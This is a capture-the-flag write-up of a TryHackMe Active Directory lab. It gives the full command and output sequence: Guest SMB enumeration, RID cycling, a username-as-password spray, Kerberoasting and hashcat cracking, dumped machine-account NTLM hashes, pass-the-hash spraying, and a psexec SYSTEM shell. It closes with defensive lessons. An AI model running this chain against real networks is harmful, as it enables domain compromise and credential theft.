// 00tl;dr
Another Active Directory box, another chain that never touches a single exploit: a Guest SMB session (not a blank null session — the literal username anonymous) gets share enumeration for free. RID cycling off that session dumps the entire domain user list, no LDAP bind required. Spraying that list against itself (username == password) lands one account. That account is enough to Kerberoast five service accounts, and one TGS hash cracks instantly. The cracked account unlocks a backup share holding raw NTLM hashes for ten machine accounts — and pass-the-hash spraying those finds one that's local admin on the box.
// 00environment
| domain | SOUPEDECODE.LOCAL |
|---|---|
| domain controller | DC01 |
| os | Windows Server 2022 (Build 20348) |
| attack box | Kali Linux |
[!] note — TryHackMe VM restarts reassign the target's IP mid-engagement, so three different addresses show up across this writeup (10.10.38.114 → 10.10.35.233 → 10.10.158.163). Same box throughout, just reconnects between sessions.
// 01reconnaissance
A quick targeted check on 88 confirmed the obvious before the full scan even finished.
$ nmap -sCV -p88 10.10.38.114
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-05 18:30:05Z)
Domain Controller, confirmed. Then the full sweep:
$ nmap -sCV -p- -vvv 10.10.38.114
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Active Directory LDAP (Domain: SOUPEDECODE.LOCAL)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Global Catalog (Domain: SOUPEDECODE.LOCAL)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
9389/tcp open mc-nmf .NET Message Framing
The RDP cert and rdp-ntlm-info confirm the hostname — DC01.SOUPEDECODE.LOCAL — straight into /etc/hosts.
// 02smb enumeration — guest beats null
The usual null session was a dead end.
$ nxc smb 10.10.38.114 -u '' -p '' --shares
[-] SOUPEDECODE.LOCAL\: STATUS_ACCESS_DENIED
So was a guessed admin with a blank password. But the literal username anonymous with a blank password authenticated as Guest:
$ nxc smb 10.10.38.114 -u 'anonymous' -p '' --shares
SMB 10.10.38.114 445 DC01 [+] SOUPEDECODE.LOCAL\anonymous: (Guest)
SMB 10.10.38.114 445 DC01 Share Permissions Remark
SMB 10.10.38.114 445 DC01 ADMIN$ Remote Admin
SMB 10.10.38.114 445 DC01 backup
SMB 10.10.38.114 445 DC01 C$ Default share
SMB 10.10.38.114 445 DC01 IPC$ READ Remote IPC
SMB 10.10.38.114 445 DC01 NETLOGON Logon server share
SMB 10.10.38.114 445 DC01 SYSVOL Logon server share
SMB 10.10.38.114 445 DC01 Users
A share called backup with no listed permissions immediately stands out — but at this point Guest can't actually read it, and Users is locked down too. Filed away for later.
// 03enumerating every domain user
kerbrute confirmed a handful of usernames first.
$ ./kerbrute userenum -d soupedecode.local /usr/share/wordlists/userlist.txt --dc 10.10.38.114
[+] VALID USERNAME: admin@soupedecode.local
[+] VALID USERNAME: charlie@soupedecode.local
[+] VALID USERNAME: guest@soupedecode.local
[+] VALID USERNAME: administrator@soupedecode.local
A start — but the real haul came from RID cycling: walking the SID space of an authenticated (even Guest) SMB session to enumerate every account by RID, no wordlist required. Metasploit's smb_lookupsid module did the job.
msf6 > use auxiliary/scanner/smb/smb_lookupsid
msf6 auxiliary(scanner/smb/smb_lookupsid) > set RHOSTS 10.10.35.233
msf6 auxiliary(scanner/smb/smb_lookupsid) > set SMBUser Guest
msf6 auxiliary(scanner/smb/smb_lookupsid) > exploit
[*] USER=Administrator RID=500
[*] USER=Guest RID=501
[*] USER=krbtgt RID=502
[*] USER=DC01$ RID=1000
[*] USER=bmark0 RID=1103
[*] USER=otara1 RID=1104
...
[*] USER=ybob317 RID=1132
[*] USER=file_svc RID=1133
[*] USER=charlie RID=1134
Cross-checked with impacket-lookupsid for good measure — same ~30-account list, including the service account file_svc and an oddly-named regular user, ybob317, that turned out to matter a lot.
// 04spraying the user list against itself
With a full username list in hand, the next move is the classic AD anti-pattern check: spray every username as its own password. It landed one hit:
Username-as-password is still depressingly common, and it was the key that unlocked everything that followed.
// 05kerberoasting
ybob317's credentials are nothing special on their own, but they're enough to authenticate to LDAP and request TGS tickets for any account with a servicePrincipalName.
$ impacket-GetUserSPNs soupedecode.local/ybob317:ybob317 -dc-ip 10.10.158.163 -request
ServicePrincipalName Name PasswordLastSet
---------------------- --------------- --------------------------
FTP/FileServer file_svc 2024-06-17 17:32:23
FW/ProxyServer firewall_svc 2024-06-17 17:28:32
HTTP/BackupServer backup_svc 2024-06-17 17:28:49
HTTP/WebServer web_svc 2024-06-17 17:29:04
HTTPS/MonitoringServer monitoring_svc 2024-06-17 17:29:18
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$soupedecode.local/file_svc*$... [truncated]
Five Kerberoastable accounts, five TGS hashes. Straight into hashcat:
$ hashcat -m 13100 file_svc.hash rockyou.txt
$krb5tgs$23$*file_svc$...:Password123!!
"Complex" by a policy checklist's standards, gone in seconds against a wordlist.
// 06the backup share opens up
$ nxc smb 10.10.158.163 -u 'file_svc' -p 'Password123!!' --shares
SMB 10.10.158.163 445 DC01 [+] SOUPEDECODE.LOCAL\file_svc:Password123!!
SMB 10.10.158.163 445 DC01 Share Permissions Remark
SMB 10.10.158.163 445 DC01 backup READ
SMB 10.10.158.163 445 DC01 NETLOGON READ
SMB 10.10.158.163 445 DC01 SYSVOL READ
The backup share that Guest couldn't touch is now readable. Inside, a single file:
$ smbclient //10.10.158.163/backup -U 'file_svc' -p 'Password123!!'
smb: \> get backup_extract.txt
WebServer$:2119:aad3b435b51404eeaad3b435b51404ee:c47b45f5d4df5a494bd19f13e14f7902:::
DatabaseServer$:2120:aad3b435b51404eeaad3b435b51404ee:406b424c7b483a42458bf6f545c936f7:::
CitrixServer$:2122:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
FileServer$:2065:aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559:::
MailServer$:2124:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
BackupServer$:2125:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
ApplicationServer$:2126:aad3b435b51404eeaad3b435b51404ee:8cd90ac6cba6dde9d8038b068c17e9f5:::
PrintServer$:2127:aad3b435b51404eeaad3b435b51404ee:b8a38c432ac59ed00b2a373f4f050d28:::
ProxyServer$:2128:aad3b435b51404eeaad3b435b51404ee:4e3f0bb3e5b6e3e662611b1a87988881:::
MonitoringServer$:2129:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
A raw NTLM dump for ten machine accounts, sitting on a share gated by nothing but a Kerberoastable service account's password.
// 07pass-the-hash spraying
Split the dump into matched username/hash lists:
$ cat backup_extract.txt | cut -d ':' -f 1 > extracted_users.txt
$ cat backup_extract.txt | cut -d ':' -f 4 | awk '{print "00000000000000000000000000000000:"$1}' > extracted_hashes.txt
Then sprayed each machine account against its own hash:
$ nxc smb 10.10.158.163 -u extracted_users.txt -H extracted_hashes.txt --no-bruteforce
SMB 10.10.158.163 445 DC01 [-] SOUPEDECODE.LOCAL\WebServer$:... STATUS_LOGON_FAILURE
SMB 10.10.158.163 445 DC01 [-] SOUPEDECODE.LOCAL\DatabaseServer$:... STATUS_LOGON_FAILURE
SMB 10.10.158.163 445 DC01 [-] SOUPEDECODE.LOCAL\CitrixServer$:... STATUS_LOGON_FAILURE
SMB 10.10.158.163 445 DC01 [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
FileServer$'s own machine-account hash is valid for local admin on the box.
// 08pass-the-hash to a shell
$ impacket-psexec 'FileServer$'@10.10.158.163 -hashes 'aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559'
[*] Found writable share ADMIN$
[*] Uploading file oNwqLrAm.exe
[*] Starting service jZDT.....
C:\Windows\system32> cd ..\..
C:\> cd Users\Administrator\Desktop
C:\Users\Administrator\Desktop> dir
06/17/2024 10:41 AM <DIR> backup
07/25/2025 10:51 AM 33 root.txt
C:\Users\Administrator\Desktop> type root.txt
27cb2be302c...
The capture cuts off mid-string here — same 33-byte file, full value lives in the original terminal scrollback.
full attack chain
Guest SMB session ("anonymous" / blank password)
│
▼
RID cycling (smb_lookupsid / lookupsid.py) → full domain user list
│
▼
Password spray username == password → ybob317 : ybob317
│
▼
Kerberoast 5 SPN accounts → crack file_svc → Password123!!
│
▼
file_svc unlocks "backup" share → backup_extract.txt (10 machine NTLM hashes)
│
▼
Pass-the-hash spray each machine account against its own hash
│
▼
FileServer$ hash → local admin (Pwn3d!)
│
▼
impacket-psexec → SYSTEM shell → root.txt
tools used
-rwxr-xr-x nmap recon
-rwxr-xr-x netexec (nxc) SMB enum, RID cycling, hash spraying, share checks
-rwxr-xr-x kerbrute username enumeration
-rwxr-xr-x msfconsole / smb_lookupsid RID-cycle user enumeration
-rwxr-xr-x impacket-lookupsid RID-cycle cross-check
-rwxr-xr-x impacket-GetUserSPNs Kerberoasting
-rwxr-xr-x hashcat offline TGS hash cracking
-rwxr-xr-x smbclient share browsing & file retrieval
-rwxr-xr-x impacket-psexec pass-the-hash remote execution
key takeaways
- Guest beats null. When a blank-credential null session gets STATUS_ACCESS_DENIED, try the literal username
anonymous(orguest) with a blank password before giving up on unauthenticated SMB. - RID cycling needs nothing but an authenticated session. No LDAP bind, no valid domain credentials beyond Guest — the entire user list, service accounts included, is enumerable by walking RIDs.
- Username == password is still real. A full user list is also a free password-spray wordlist against itself, and it works often enough to be worth trying first.
- Kerberoastable accounts need strong, randomized passwords.
Password123!!satisfies most complexity policies on paper and still falls instantly to a wordlist. - Backup shares keep being the weak link. Same root cause as the hardcoded sync-script credential in Operation EndGames — infrastructure scripts and backup processes routinely get less scrutiny than the systems they protect.
- Don't store raw NTLM hashes anywhere a low-privileged account can read them. Once exposed, pass-the-hash spraying turned them into admin in one command.